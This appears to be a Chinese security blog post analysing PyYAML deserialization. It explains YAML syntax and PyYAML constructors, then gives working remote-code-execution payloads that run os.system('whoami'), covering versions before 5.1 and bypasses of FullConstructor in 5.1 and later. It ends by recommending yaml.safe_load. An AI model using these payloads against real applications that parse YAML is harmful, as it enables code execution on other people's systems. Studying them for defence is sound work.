🍊 SecMap - 反序列化(PyYAML)
这是橘子杀手的第 49 篇文章
题图摄于:绍兴 · 东湖
YAML 相信橘友们都接触过。YAML 最常见的用途之一是创建配置文件。相比 JSON,因为 YAML 有更好的可读性(比如可以加注释),对用户更友好。我的博客用的是 Hexo,它的配置就是通过 YAML 实现的
☁️ 基础知识
这里简单说一下 YAML 支持的基础语法,若想更加深入了解语法规则,请移步 Google 搜索。
🌧 基础语法规则
基础语法规则有以下几种:
-
一个 .yml 文件中可以有多份配置文件,用 ---
隔开即可 -
对大小写敏感 -
YAML 中的值,可使用 json 格式的数据 -
使用缩进表示层级关系 -
缩进时不允许使用 tab( t
),只允许使用空格。 -
缩进的空格数目不重要,只要相同层级的元素左侧对齐即可。 -
#
表示注释,和 Python 一样 -
!!
表示强制类型装换 -
可以通过 &
来定义锚点,使用*
来引用锚点。*
也可以和<<
配合,引用时会自动展开对象,类似 Python 的**dict()
-
YAML 支持的数据结构有三种 -
对象:键值对的集合 -
列表:一组按次序排列的值 -
标量(scalars):原子值(不可再拆分),例如 数字、日期等等
下面通过 YAML 内容与 PyYAML 解析之后的结果对比,可以清晰地了解 YAML 到底配置了啥:
import yaml
yaml.load('''
string_0:
- macr0phag3
- "I'm Tr0y" # 可以使用双引号或者单引号包裹特殊字符
- "I am fine. u263A" # 使用双引号包裹时支持 Unicode 编码
- "\x0d\x0a is \r\n" # 使用双引号包裹时还支持 Hex 编码
- newline
newline2 # 字符串可以拆成多行,每行之间用空格隔开
# > 可以在字符串中折叠换行
string_1: >
newline
newline2
# | 保留换行符
string_2: |
newline
newline2
# | 保留换行符,且去掉最后一个换行符
string_3: |-
newline
newline2
list: &id_1
- 18 # 定义锚点
- cm
two_dimensional_list:
-
- Macr0phag3
- Tr0y
boolean:
- TRUE # true、True、Yes、YES、yes、ON、on、On 都可以
- FALSE # false、False、NO、no、No、off、OFF、Off 都可以
float:
- 3.14
- 6.8523015e+5 # 可以使用科学计数法
int:
- 123
- 0b10100111010010101110 # 支持二进制表示
- 0x0a # 支持十六进制表示
nulls:
- null # NULL 也 ok
- Null
- ~
-
date:
- 2018-02-17 # 日期必须使用 ISO 8601 格式,即 yyyy-MM-dd
datetime:
- 2018-02-17T15:02:31+08:00 # 时间使用 ISO 8601 格式,时间和日期之间使用 T 连接,最后使用 + 代表时区
# > 可以在字符串中折叠换行
object: &id_2
name: Tr0y
money: 0
json: [{1: Macr0phag3, 2: Tr0y}, "???"] # 值支持 json
reference:
size: *id_1
<<: *id_2
''')
结果如下:
(内含彩蛋)
对于 PyYAML 的使用,请移步官方文档:
https://pyyaml.org/wiki/PyYAMLDocumentation
☁️ 类型转换
上面还差一个重要的语法没讲:可以通过 !!
来进行类型转换。
通过上面的测试可以发现,如果识别到一个数字,那么按照 YAML 格式来处理,这个类型就是数字类型。如果我们想把数字类型变为字符串类型就可以这样:a: !!str 1
,它的结果和 a: "1"
是一样的。
由于 YAML 仅仅是一种格式规范,所以理论上一个支持 YAML 的解析器可以选择性支持 YAML 的某些语法,也可以在 YAML 的基础上利用 !!
来扩展额外的解析能力。本文主要聚焦于 PyYAML,所以直接看源码就可以知道它在 !!
上做了哪些魔改。
🌧 理解基础的类型转换
在 site-packages/yaml/constructor.py
中可以看到使用了 add_constructor
的有 24 多个地方,这些都是用来支持基础的类型转换(带有 tag:yaml.org,2002:python/
的说明是 PyYAML 自定义的类型转换),这些基础类型转换的功能非常好理解,看上面那张图即可,就不多说了,来看下它是怎么实现的吧。
以 !!binary
这个为例,对应的函数是 construct_yaml_binary
,下个断点可以看到,传入的参数 node 格式为:
ScalarNode(
tag='tag:yaml.org,2002:binary',
value='R0lGODlhDAAMAIQAAP//9/Xn17unp5WZmZgAAAOfn515eXvnPz7Y6OjuDg4J+fn5OTk6enpn56enmleECcgggoBADs=mZmE'
)
所以对于一个 !!x x
来说,类型转换执行的伪代码就是:find_function("x")(x)
。这个也很好理解。
🌧 高级类型转换
在理解了基础的类型转换之后,查看源码可以发现还有一个 add_multi_constructor
函数,一共有 5 个:
-
python/name
-
python/module
-
python/object
-
python/object/new
-
python/object/apply
从上面那张图可以看到,这几个都可以引入新的模块。这就是 PyYAML 存在反序列化的本质原因。
☁️ 攻击思路
截止目前(2022),PyYAML 的利用划分以版本 5.1 为界限,<5.1 版本的利用非常简单,就先介绍一下;>5.1 的利用很相似,但需要稍微做一些解释,所以放在后面。
下面按照利用难度从易到难排列。
🌧 版本小于 5.1
下面以 4.2b4
为例。
❄️ 关键方法
<5.1 版本中提供了几个方法用于解析 YAML:
-
yaml.load
:加载单个 YAML 配置 -
yaml.load_all
:加载多个 YAML 配置
以上这两种均可以通过 Loader
参数来指定加载器。一共有三个加载器,加载器后面对应了三个不同的构造器:
-
BaseConstructor
:最最基础的构造器,不支持强制类型转换 -
SafeConstructor
:集成 BaseConstructor,强制类型转换和 YAML 规范保持一致,没有魔改 -
Constructor
:在 YAML 规范上新增了很多强制类型转换
Constructor
这个是最危险的构造器,却是默认使用的构造器
❄️ python/object/apply
对应的函数是 construct_python_object_apply
,最终在 make_python_instance
中引入了模块中的方法并执行。
python/object/apply
要求参数必须用一个列表的形式提供,所以以下 payload 都是等价的,但是写法不一样,可以用来绕过:
yaml.load('exp: !!python/object/apply:os.system ["whoami"]')
yaml.load("exp: !!python/object/apply:os.system ['whoami']")
# 引号当然不是必须的
yaml.load("exp: !!python/object/apply:os.system [whoami]")
yaml.load("""
exp: !!python/object/apply:os.system
- whoami
""")
yaml.load("""
exp: !!python/object/apply:os.system
args: ["whoami"]
""")
# command 是 os.system 的参数名
yaml.load("""
exp: !!python/object/apply:os.system
kwds: {"command": "whoami"}
""")
yaml.load("!!python/object/apply:os.system [whoami]: exp")
yaml.load("!!python/object/apply:os.system [whoami]")
yaml.load("""
!!python/object/apply:os.system
- whoami
""")
❄️ python/object/new
对应的函数是 construct_python_object_new
,这个函数仅有一行,就是调用 construct_python_object_apply
,他们两个链路的区别在于调用 make_python_instance
时 newobj
参数不同。
而仔细观察 make_python_instance
中的 if newobj and isinstance(cls, type)
条件基本上都会满足(有例外,后面那个条件有点特殊的地方,下面会细说)。所以 python/object/new
和 python/object/apply
可以视为是完全等价的,那么它们的 payload 就是一样的,参考上面即可。
❄️ python/object
对应的函数是 construct_python_object
,非常简单,先 make_python_instance
了一下,然后执行了 set_python_instance_state
。根据上面的经验,只要走到 make_python_instance
就可以触发调用。但问题是这里没法传参,所以只能执行无参函数:
有趣的是,这种利用方式会报错:TypeError: can't set attributes of built-in/extension type 'object'
,通过分析代码可知,流程是走到了 setattr(object, key, value)
报错的:
这个是必然的,object 这种内置的类,都是在底层的 C 代码中写死的,官方不允许对它们随便设置属性的。这里顺便说一句,通过 gc 引用是可以修改的:
当然这个不是本文重点
所以这很明显是一个 bug,因为这个流程既然存在就必定会走到,而现在一旦走到就必然报错。查了下 issue,发现在 18 年的时候就已经发现了:
的确,应该是 setattr(instance, key, value)
。这个 bug 在 5.3 已修复了。
❄️ python/module
对应的函数是 construct_python_module
,里面调用了 find_python_module
,等价于 import
。
那么在这种没有调用逻辑的情况下,是否有办法利用呢?我感觉在可以写任意文件的时候是有办法的。比如搭配任意文件上传。
首先写入执行目录,yaml 中指定同名模块,例如上传一段恶意代码,叫 exp.py
,然后通过 yaml.load('!!python/module:exp')
加载。
在实际的场景中,由于一般用于存放上传文件的目录和执行目录并不是同一个,例如:
app.py
uploads
|_ user.png
|_ header.jpg
这个时候只需要上传一个 .py 文件,这个文件会被放在 uploads 下,这时只需要触发 import uploads.header
就可以利用了:
更简单的,直接上传 __init__.py
,在触发的时候用 !!python/module:uploads
就可以了。
❄️ python/name
对应的函数是 construct_python_name
,里面调用了 find_python_name
,与 python/module
的逻辑极其类似,区别在于,python/module
仅仅返回模块而 python/name
返回的是模块下面的属性/方法。
利用的逻辑除了上面一样之外,还可以用于这种场景:
import yaml
TOKEN = "Y0u_Nev3r_kn0w."
def check(config):
try:
token = yaml.load(config).get("token", None)
except Exception:
token = None
if token == TOKEN:
print("yes, master.")
else:
print("fuck off!")
config = '' # 可控输入点
check(config)
这个时候的 payload 为 token: !!python/name:__main__.TOKEN
,无需知道 TOKEN 是什么,但是需要知道变量名。
当然,这个场景除了 !!python/module
无法完成利用之外,上述其他姿势都可以实现。
🌧 版本大于等于 5.1
由于默认的构造器太过强大,开发人员不了解这些危险很容易中招。所以 PyYAML 的开发者就将构造器分为:
-
BaseConstructor
:没有任何强制类型转换 -
SafeConstructor
:只有基础类型的强制类型转换 -
FullConstructor
:除了python/object/apply
之外都支持,但是加载的模块必须位于sys.modules
中(说明已经主动 import 过了才让加载)。这个是默认的构造器。 -
UnsafeConstructor
:支持全部的强制类型转换 -
Constructor
:等同于UnsafeConstructor
对应顶层的方法新增了:
-
yaml.full_load
-
yaml.full_load_all
-
yaml.unsafe_load
-
yaml.unsafe_load_all
通常情况下,我们还是会使用 yaml.load
,这个时候会有 warning:
因为在不指定 Loader
的时候,默认是 FullConstructor
构造器。这对开发人员起到了提醒的作用。
除此之外,在 make_python_instance
还新增的额外的限制:if not (unsafe or isinstance(cls, type))
,也就是说,在安全模式下,加载进来的 module.name
必须是一个类(例如 int
、str
之类的),否则就会报错。
🌧 常规利用方式
常规的利用方式和 <5.1 版本的姿势是一样的。当然前提是构造器必须用的是 UnsafeConstructor
或者 Constructor
,也就是这种情况:
-
yaml.unsafe_load(exp)
-
yaml.unsafe_load_all(exp)
-
yaml.load(exp, Loader=UnsafeLoader)
-
yaml.load(exp, Loader=Loader)
-
yaml.load_all(exp, Loader=UnsafeLoader)
-
yaml.load_all(exp, Loader=Loader)
直接打就好了。
🌧 突破 FullConstructor
FullConstructor 中,限制了只允许加载 sys.modules
中的模块。这个有办法突破吗?
我们先列举一下限制:
-
只引用,不执行的限制: -
加载进来的 module
必须是位于sys.modules
中 -
引用并执行: -
加载进来的 module
必须是位于sys.modules
中 -
FullConstructor 下, unsafe = False
,加载进来的module.name
必须是一个类
举两个不行的例子:
-
!!python/name:pickle.loads
:pickle
不在sys.modules
中 -
!!python/object/new:builtins.eval ["print(1)"]
:eval
虽然在sys.modules
中,但是type(builtins.eval)
是builtin_function_or_method
而不是一个类。
通过遍历 builtins 下的所有方法,可以找到这些看起来有点用的:
bool、bytearray、bytes
complex
dict
enumerate
filter、float、frozenset
int
list
map、memoryview
object
range、reversed
set、slice、str、staticmethod
tuple
zip
其中,map
是可以用来触发函数执行的,那么函数怎么引用进来呢?很明显就是 python/name
,所以这个 payload 的原型就可以是:
tuple(map(eval, ["__import__('os').system('whoami')"]))
翻译为 YAML 即为:
yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('whoami')"]
""")
这里有个非常有趣的地方,如果把 tuple
换成 list
或者是 set
,理论上同样会解开 map 里的内容:
但是通过 !!python/object/new
来使用时却会忽略参数,生成一个空的迭代对象:
可以看到,上面并没有执行命令(只要尝试解开 payload 里的 map 必定会执行命令)。跟踪执行流程并审计源码可以发现,在 make_python_instance
中,这也是为什么我上面说这个条件比较特殊。
可以看到,这里是通过 cls.__new__
来新建一个 cls 实例的,因为 FullConstructor 下使用 python/object/new
时,newobj 必定是 True
,而后面那个条件必定是满足的,否则上面一个条件就会报错。
所以到这里我们就可以复现这个 “bug”:
那么为什么通过 list.__new__
会忽略元素参数,而 tuple.__new__
却不会呢?
通过审计 Python 的 C 代码,对比 list 和 tuple 的底层实现,大致可以得出这么一个结论:由于 __new__
的调用在 __init__
之前,所以我猜测不可变类型是在 __new__
时插入元素,而可变类型是在 __init__
时插入元素,所以 __new__
时传入的元素参数就被忽略了,而 __init__
又没有接收到元素,所以就生成了一个空的实例。注意,这个结论由于精力原因,并没有经过严格的考证,若感兴趣橘友们应当自行跟踪调试。
所以 frozenset
、bytes
等这种不可变类型都会解开里面的元素从而触发命令执行,而 dict
、bytearray
等这种可变类型就不会:
所以,我们只需要找到 触发带参调用 + 引入函数 这两个点就可以完成攻击。在 construct_python_object_apply
中,不仅进行了实例化,如果有 listitems
还会调用实例的 extend
方法,所以原型是:
exp = type("exp", (,), {"extend": eval})
exp.extend("__import__('os').system('whoami')")
YAML payload:
yaml.full_load("""
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
""")
结果:
construct_python_object_apply
中还对实例进行 setstate,即调用了 __setstate__
,所以同样的思路,原型:
exp = type("exp", (list, ), {"__setstate__": eval})
exp.__setstate__("__import__('os').system('whoami')")
YAML payload:
yaml.full_load("""
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"__setstate__": !!python/name:eval }
state: "__import__('os').system('whoami')"
""")
这里的 type
也可以用 staticmethod
来替换。例如,在 set_python_instance_state
中,还有个调用 slotstate.update
的逻辑,那么只要将 slotstate.update
置为 eval
,state
就是 RCE 的 payload。原型:
exp = staticmethod([0])
exp.__dict__.update(
{"update": eval, "items": list}
)
exp_raise = str()
# 由于 str 没有 __dict__ 方法,所以在 PyYAML 解析时会触发下面调用
exp.update("__import__('os').system('whoami')")
YAML payload:
yaml.full_load("""
!!python/object/new:str
args: []
# 通过 state 触发调用
state: !!python/tuple
- "__import__('os').system('whoami')"
# 下面构造 exp
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:eval
items: !!python/name:list # 不设置这个也可以,会报错但也已经执行成功
""")
这个稍微复杂一些。
总之这个组合拳用来绕过 FullConstructor 是很简单的
☁️ 防御
我感觉大多数时候没必要使用如此灵活的解析,所以作为研发,可以尽量使用 yaml.safe_load
来做解析,这一点没啥可说的。
写完这一切之后,我在官方 issue 中看到了关于 >5.1 的 yaml.full_load
安全问题的讨论,这个是默认方法却存在漏洞。作为安全人员,我的观点是官方提供的默认方法应该是安全的,即使牺牲了部分功能。如果一定需要使用那些不太安全的功能也可以,但是需要主动开启(例如加额外的参数,或者换方法名),否则大多数人都会使用 full_load,毕竟是默认的方法。我感觉打印警告起到的作用还是稍微弱了一些
本来周一就有周末综合症
又叠加了一个节后综合症
buff 叠满了
原文始发于微信公众号(橘子杀手):SecMap - 反序列化(PyYAML)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论